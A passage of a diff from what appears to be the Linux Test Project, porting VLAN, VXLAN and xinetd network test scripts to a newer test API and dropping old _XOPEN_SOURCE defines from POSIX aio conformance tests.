-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-#
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 #
 # Test-case 1: It requires remote host. Test will setup IPv4 and IPv6 virtual
@@ -23,21 +11,6 @@
 # Test-case 2: The same as above but must fail, because VLAN allows
 #              to communicate only within the same VLAN segment.
 
-TCID=vlan03
-TST_TOTAL=6
-TST_NEEDS_TMPDIR=1
-
-virt_type="vlan"
-
-. test_net.sh
-. virt_lib.sh
-
-TST_CLEANUP="virt_cleanup"
-
-if [ -z $ip_local -o -z $ip_remote ]; then
-	tst_brkm TBROK "you must specify IP address"
-fi
-
 p0="protocol 802.1Q"
 p1="protocol 802.1ad"
 lb0="loose_binding off"
@@ -45,23 +18,38 @@
 rh0="reorder_hdr off"
 rh1="reorder_hdr on"
 
-opts=" ,$p0 $lb0 $rh1,$p1 $lb1 $rh1"
+virt_type="vlan"
 
-for n in $(seq 1 3); do
-	p="$(echo $opts | cut -d',' -f$n)"
+TST_NEEDS_TMPDIR=1
+TST_TEST_DATA=",$p0 $lb0 $rh1,$p1 $lb1 $rh1"
+TST_TEST_DATA_IFS=","
+TST_TESTFUNC=do_test
+TST_SETUP=do_setup
+TST_CLEANUP=virt_cleanup
+. virt_lib.sh
 
-	virt_check_cmd virt_add ltp_v0 id 0 $p || continue
+do_setup()
+{
+	if [ -z $ip_local -o -z $ip_remote ]; then
+		tst_brk TBROK "you must specify IP address"
+	fi
+	virt_lib_setup
+}
 
-	tst_resm TINFO "networks with the same VLAN ID must work"
-	virt_setup "id 4094 $p" "id 4094 $p"
+do_test()
+{
+	virt_check_cmd virt_add ltp_v0 id 0 $2 || return
+
+	tst_res TINFO "networks with the same VLAN ID must work"
+	virt_setup "id 4094 $2" "id 4094 $2"
 	virt_netperf_msg_sizes
 	virt_cleanup_rmt
 
-	tst_resm TINFO "different VLAN ID shall not work together"
-	virt_setup "id 4093 $p" "id 4094 $p"
+	tst_res TINFO "different VLAN ID shall not work together"
+	virt_setup "id 4093 $2" "id 4094 $2"
 	virt_minimize_timeout
 	virt_compare_netperf "fail"
 	virt_cleanup_rmt
-done
+}
 
-tst_exit
+tst_run
diff --git a/testcases/network/virt/vxlan01.sh b/testcases/network/virt/vxlan01.sh
index 3042e6e..5316915 100755
--- a/testcases/network/virt/vxlan01.sh
+++ b/testcases/network/virt/vxlan01.sh
@@ -1,36 +1,22 @@
 #!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2014-2015 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-#
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 #
 # Local test, check if we can create multiple VXLAN interfaces.
-#
 
-TCID=vxlan01
-TST_TOTAL=5
+TST_OPTS="hi:d:"
+TST_PARSE_ARGS=virt_lib_parse_args
+TST_USAGE=virt_lib_usage
 
 virt_type="vxlan"
 start_id=16700000
 
-. test_net.sh
+TST_TEST_DATA="l2miss l3miss,norsc nolearning noproxy,\
+ttl 0x01 tos 0x01,ttl 0xff tos 0xff,gbp"
+TST_TEST_DATA_IFS=","
+TST_TESTFUNC=virt_test_01
 . virt_lib.sh
 
-options="l2miss l3miss,norsc nolearning noproxy,\
-ttl 0x01 tos 0x01,ttl 0xff tos 0xff,gbp"
-
-virt_test_01 "$options"
-
-tst_exit
+tst_run
diff --git a/testcases/network/virt/vxlan02.sh b/testcases/network/virt/vxlan02.sh
index 23c303f..04036a0 100755
--- a/testcases/network/virt/vxlan02.sh
+++ b/testcases/network/virt/vxlan02.sh
@@ -1,37 +1,28 @@
 #!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2014-2015 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-#
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 #
 # Local test, check if we can create and then delete VXLAN
 # interface 5000 times.
-#
 
-TCID=vxlan02
-TST_TOTAL=1
+TST_OPTS="hi:d:"
+TST_PARSE_ARGS=virt_lib_parse_args
+TST_USAGE=virt_lib_usage
 
 virt_type="vxlan"
 start_id=16700000
 
-. test_net.sh
+TST_TESTFUNC=do_test
 . virt_lib.sh
 
-[ "$TST_IPV6" ] && mult_addr="ff02::abc" || mult_addr="239.1.1.1"
-opt="group $mult_addr"
+do_test()
+{
+	local mult_addr="239.1.1.1"
+	[ "$TST_IPV6" ] && mult_addr="ff02::abc"
 
-virt_add_delete_test "id $start_id $opt dev $(tst_iface)"
+	virt_add_delete_test "id $start_id group $mult_addr"
+}
 
-tst_exit
+tst_run
diff --git a/testcases/network/virt/vxlan03.sh b/testcases/network/virt/vxlan03.sh
index 5d1d000..5e6ccd4 100755
--- a/testcases/network/virt/vxlan03.sh
+++ b/testcases/network/virt/vxlan03.sh
@@ -1,19 +1,7 @@
 #!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2014-2017 Oracle and/or its affiliates.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-#
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 #
 # Test-case 1: It requires remote host. Test will setup IPv4 and IPv6 virtual
@@ -23,9 +11,10 @@
 # Test-case 2: The same as above but must fail, because VXLAN allows
 #              to communicate only within the same VXLAN segment.
 
-TCID=vxlan03
-TST_TOTAL=4
 TST_NEEDS_TMPDIR=1
+TST_OPTS="hi:d:"
+TST_PARSE_ARGS=virt_lib_parse_args
+TST_USAGE=virt_lib_usage
 
 virt_type="vxlan"
 start_id=16700000
@@ -33,7 +22,11 @@
 # Destination address, can be unicast or multicast address
 vxlan_dst_addr="uni"
 
-. test_net.sh
+TST_TEST_DATA=",gbp"
+TST_TEST_DATA_IFS=","
+TST_NEEDS_TMPDIR=1
+TST_TESTFUNC=do_test
+TST_CLEANUP=virt_cleanup
 . virt_lib.sh
 
 # In average cases (with small packets less then 150 bytes) VxLAN slower
@@ -43,30 +36,25 @@
 VIRT_PERF_THRESHOLD=${VIRT_PERF_THRESHOLD:-160}
 [ "$VIRT_PERF_THRESHOLD" -lt 160 ] && VIRT_PERF_THRESHOLD=160
 
-TST_CLEANUP="virt_cleanup"
+do_test()
+{
+	if [ -z $ip_local -o -z $ip_remote ]; then
+		tst_brk TBROK "you must specify IP address"
+	fi
 
-if [ -z $ip_local -o -z $ip_remote ]; then
-	tst_brkm TBROK "you must specify IP address"
-fi
+	virt_check_cmd virt_add ltp_v0 id 0 $2 || continue
 
-opts=" ,gbp"
-
-for n in $(seq 1 2); do
-	p="$(echo $opts | cut -d',' -f$n)"
-
-	virt_check_cmd virt_add ltp_v0 id 0 $p || continue
-
-	tst_resm TINFO "the same VNI must work"
+	tst_res TINFO "the same VNI must work"
 	# VNI is 24 bits long, so max value, which is not reserved, is 0xFFFFFE
-	vxlan_setup_subnet_$vxlan_dst_addr "id 0xFFFFFE $p" "id 0xFFFFFE $p"
+	vxlan_setup_subnet_$vxlan_dst_addr "id 0xFFFFFE $2" "id 0xFFFFFE $2"
 	virt_netperf_msg_sizes
 	virt_cleanup_rmt
 
-	tst_resm TINFO "different VNI shall not work together"
-	vxlan_setup_subnet_$vxlan_dst_addr "id 0xFFFFFE $p" "id 0xFFFFFD $p"
+	tst_res TINFO "different VNI shall not work together"
+	vxlan_setup_subnet_$vxlan_dst_addr "id 0xFFFFFE $2" "id 0xFFFFFD $2"
 	virt_minimize_timeout
 	virt_compare_netperf "fail"
 	virt_cleanup_rmt
-done
+}
 
-tst_exit
+tst_run
diff --git a/testcases/network/xinetd/xinetd_tests.sh b/testcases/network/xinetd/xinetd_tests.sh
index fb43448..f7fa77f 100755
--- a/testcases/network/xinetd/xinetd_tests.sh
+++ b/testcases/network/xinetd/xinetd_tests.sh
@@ -20,7 +20,8 @@
 TST_CLEANUP="cleanup"
 
 . daemonlib.sh
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 setup()
 {
@@ -29,7 +30,7 @@
 
 	tst_tmpdir
 
-	tst_check_cmds xinetd diff ip telnet
+	tst_test_cmds xinetd diff telnet
 
 	check_addr="127.0.0.1"
 	ip a | grep -q inet6 && check_addr="$check_addr ::1"
diff --git a/testcases/open_posix_testsuite/CFLAGS b/testcases/open_posix_testsuite/CFLAGS
index b604391..297d292 100644
--- a/testcases/open_posix_testsuite/CFLAGS
+++ b/testcases/open_posix_testsuite/CFLAGS
@@ -1 +1 @@
--std=c99 -D_POSIX_C_SOURCE=200112L -D_XOPEN_SOURCE=600 -W -Wall
+-std=c99 -D_POSIX_C_SOURCE=200809L -D_XOPEN_SOURCE=700 -W -Wall
diff --git a/testcases/open_posix_testsuite/Documentation/COVERAGE.threads b/testcases/open_posix_testsuite/Documentation/COVERAGE.threads
index 6c9eb46..96ad1aa 100644
--- a/testcases/open_posix_testsuite/Documentation/COVERAGE.threads
+++ b/testcases/open_posix_testsuite/Documentation/COVERAGE.threads
@@ -77,7 +77,7 @@
 pthread_key_delete		YES		MED
 pthread_mutexattr_getpshared	YES		LOW
 pthread_mutexattr_setpshared	YES		LOW
-pthread_rwlock_destory		YES		LOW
+pthread_rwlock_destroy		YES		LOW
 pthread_rwlock_init		YES		LOW
 pthread_rwlock_rdlock		YES		LOW
 pthread_rwlock_timedrdlock	YES		LOW
@@ -86,7 +86,7 @@
 pthread_rwlock_trywrlock	YES		LOW
 pthread_rwlock_unlock		YES		LOW
 pthread_rwlock_wrlock		YES		LOW
-pthread_rwlockattr_destory	YES		LOW
+pthread_rwlockattr_destroy	YES		LOW
 pthread_rwlockattr_getpshared	YES		LOW
 pthread_setspecific		YES		MED
 */
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/1-1.c
index ef9b0b5..41d6d12 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/1-1.c
@@ -19,7 +19,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/10-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/10-1.c
index b96a427..9c6f411 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/10-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/10-1.c
@@ -17,7 +17,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/2-1.c
index 699c424..7d4f2e4 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/2-1.c
@@ -24,7 +24,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/2-2.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/2-2.c
index d067319..9b1df5a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/2-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/2-2.c
@@ -21,7 +21,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/3-1.c
index ead3be1..b8c03f2 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/3-1.c
@@ -27,7 +27,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/4-1.c
index 7304857..512f8ea 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/4-1.c
@@ -26,7 +26,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/5-1.c
index 9d36c8b..03937e5 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/5-1.c
@@ -24,7 +24,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/6-1.c
index e194f49..6cc23f2 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/6-1.c
@@ -27,7 +27,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/7-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/7-1.c
index 5e9bccf..0a19ff9 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/7-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/7-1.c
@@ -25,7 +25,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/8-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/8-1.c
index 2627687..fb25118 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/8-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/8-1.c
@@ -21,7 +21,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/9-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/9-1.c
index 0e43308..0d9027d 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/9-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/9-1.c
@@ -18,7 +18,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_error/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_error/1-1.c
index 627d814..cbbf63a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_error/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_error/1-1.c
@@ -19,7 +19,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_error/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_error/2-1.c
index 9ce2916..3c8e302 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_error/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_error/2-1.c
@@ -20,7 +20,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_error/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_error/3-1.c
index c88be99..9ccda05 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_error/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_error/3-1.c
@@ -19,7 +19,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/12-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/12-1.c
index 3bd7b85..9e3d800 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/12-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/12-1.c
@@ -6,7 +6,6 @@
  * source tree.
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/14-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/14-1.c
index ad62166..c8b59f8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/14-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/14-1.c
@@ -6,7 +6,6 @@
  * source tree.
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/2-1.c
index 3f65b94..385c0a6 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/2-1.c
@@ -6,7 +6,6 @@
  * source tree.
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/3-1.c
index 7d6dbaf..61c21d1 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/3-1.c
@@ -6,7 +6,6 @@
  * source tree.
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/4-1.c
index a957bf6..a46fdcc 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/4-1.c
@@ -7,7 +7,6 @@
  * source tree.
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/5-1.c
index 34fb7f8..9e8d8e9 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/5-1.c
@@ -6,7 +6,6 @@
  * source tree.
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-1.c
index 356a21e..f0eb923 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-1.c
@@ -6,7 +6,6 @@
  * source tree.
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-2.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-2.c
index 65e36d0..1b38af5 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-2.c
@@ -6,7 +6,6 @@
  * source tree.
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-3.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-3.c
index 794ee49..054fce6 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-3.c
@@ -6,7 +6,6 @@
  * source tree.
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-4.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-4.c
index 7a212e6..c3fa2a3 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-4.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-4.c
@@ -6,7 +6,6 @@
  * source tree.
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/9-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/9-1.c
index a8b0ec1..ad8f187 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/9-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/9-1.c
@@ -6,7 +6,6 @@
  * source tree.
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/1-1.c
index aa79375..5c06e81 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/1-1.c
@@ -18,7 +18,6 @@
  *	- read 256 bytes using aio_read
  */
 
-#define _XOPEN_SOURCE 600
 #include <sys/stat.h>
 #include <aio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/10-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/10-1.c
index 473240b..8bd5b69 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/10-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/10-1.c
@@ -20,7 +20,6 @@
  *	- check return code and errno
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/11-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/11-1.c
index 1639f4b..2e628b7 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/11-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/11-1.c
@@ -21,7 +21,6 @@
  *	- call aio_read with this aiocb
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/11-2.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/11-2.c
index 1cfe956..ff43ca1 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/11-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/11-2.c
@@ -21,7 +21,6 @@
  *	- call aio_read with this aiocb
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/3-1.c
index 49fae18..e748214 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/3-1.c
@@ -18,7 +18,6 @@
  *	- check error and return codes using previous aiocb
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/3-2.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/3-2.c
index 06bd724..271b816 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/3-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/3-2.c
@@ -18,7 +18,6 @@
  *	- check error and return codes using previous aiocb
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/4-1.c
index 149cf83..cf3a678 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/4-1.c
@@ -18,7 +18,6 @@
  *	- check data is consistent
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/5-1.c
index 3f14aeb..cdecb17 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/5-1.c
@@ -19,7 +19,6 @@
  *	- check data is effectively read (ignoring aio_lio_opcode)
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/7-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/7-1.c
index 4802b43..22316bc 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/7-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/7-1.c
@@ -19,7 +19,6 @@
  *	- check aio_read return value
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/8-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/8-1.c
index 2d082ca..8a6c024 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/8-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/8-1.c
@@ -20,7 +20,6 @@
  *	- check aio_read return value
  */
 
-#define _XOPEN_SOURCE 600
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/9-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/9-1.c
index 1740c7b..a1b7de2 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_read/9-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_read/9-1.c
@@ -23,7 +23,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <sys/stat.h>
 #include <aio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_return/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_return/1-1.c
